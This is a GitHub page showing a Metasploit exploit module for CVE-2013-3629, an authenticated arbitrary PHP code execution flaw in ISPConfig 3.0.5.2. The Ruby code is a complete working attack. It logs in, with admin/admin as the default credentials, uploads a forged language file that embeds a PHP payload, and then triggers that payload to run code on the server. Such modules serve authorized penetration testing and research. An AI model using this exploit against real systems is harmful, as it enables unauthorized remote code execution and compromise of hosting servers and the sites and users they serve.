/
ispconfig_php_exec.rb
130 lines (111 loc) · 3.76 KB
/
ispconfig_php_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
'Description' => %q{
ISPConfig allows an authenticated administrator to export language settings into a PHP script
which is intended to be reuploaded later to restore language settings. This feature
can be abused to run aribitrary PHP code remotely on the ISPConfig server.
This module was tested against version 3.0.5.2.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3629'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2013-10-30'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
])
end
def lng
datastore['LANGUAGE']
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
if !init or init.code != 200
fail_with(Failure::UnexpectedReply, "Error getting initial page.")
end
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'passwort' => datastore["PASSWORD"],
's_mod' => 'login',
's_pg' => 'index'
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/content.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 200
fail_with(Failure::NoAccess, "Error authenticating.")
end
sess = login.get_cookies
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
php << "--|global|#{lng}|#{lng}.lng\n"
php << "<?php \n"
php << payload.encoded
php << "?>\n"
php << "--|mail|#{lng}|#{lng}.lng\n"
php << "<?php"
php << "?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
data.add_part('', nil, nil, 'form-data; name="id"')
data_post = data.to_s
print_status("Sending payload")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
post = {
'lng_select' => 'es'
}
print_status("Triggering payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
'vars_post' => post,
'cookie' => sess
})
end
end